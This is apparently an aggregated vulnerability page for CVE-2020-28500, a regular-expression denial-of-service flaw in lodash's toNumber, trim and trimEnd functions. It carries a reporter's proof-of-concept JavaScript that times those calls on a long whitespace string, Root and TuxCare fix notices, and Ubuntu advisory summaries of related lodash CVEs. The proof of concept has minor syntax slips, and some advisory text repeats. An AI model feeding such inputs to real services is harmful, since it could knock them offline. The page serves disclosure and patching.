CVE-2020-28500

Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

Root has patched CVE-2020-28500 in the lodash package for Root:npm. Multiple fixed versions available.

Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

TuxCare rebuilt lodash to address 3 CVEs. Fixed in 4.17.15-tuxcare.5.

TuxCare rebuilt 11 packages to address 4 CVEs. Fixed in 4.5.0-tuxcare.5.

TuxCare rebuilt lodash to address 5 CVEs. Fixed in 4.17.4-tuxcare.3.

TuxCare rebuilt lodash to address 4 CVEs. Fixed in 4.17.5-tuxcare.3.

TuxCare rebuilt lodash-es to address 7 CVEs. Fixed in 4.17.11-tuxcare.1.

TuxCare rebuilt lodash-es to address 6 CVEs. Fixed in 4.17.15-tuxcare.1.

TuxCare rebuilt lodash.isequal to address 7 CVEs. Fixed in 4.5.0-tuxcare.9.

It was discovered that Lodash was vulnerable to a prototype pollution issue in the zipObjectDeep function. An attacker could possibly use this issue to modify application behavior. This issue only affected Ubuntu 18.04 LTS and Ubuntu 20.04 LTS. (CVE-2020-8203)

Liyuan Chen discovered that Lodash was vulnerable to a regular expression denial of service issue in the toNumber, trim, and trimEnd functions. An attacker could possibly use this issue to consume excessive system resources, resulting in a denial of service. This issue only affected Ubuntu 18.04 LTS and Ubuntu 20.04 LTS. (CVE-2020-28500)

Marc Hassan discovered that Lodash did not properly sanitize input to the template function. An attacker could possibly use this issue to inject and execute arbitrary commands. This issue only affected Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, and Ubuntu 20.04 LTS. (CVE-2021-23337)

It was discovered that Lodash was vulnerable to a prototype pollution issue in the unset and omit functions. An attacker could possibly use this issue to delete properties from global prototypes, resulting in security restrictions being bypassed. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 25.10. (CVE-2025-13465)

It was discovered that Lodash was vulnerable to a prototype pollution issue in the unset and omit functions. An attacker could possibly use this issue to delete properties from built-in prototypes, resulting in security restrictions being bypassed. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, Ubuntu 25.10, and Ubuntu 26.04 LTS. (CVE-2026-2950)

It was discovered that Lodash did not properly validate certain inputs to the template function. An attacker could possibly use this issue to inject malicious code during template processing, resulting in arbitrary code execution. (CVE-2026-4800)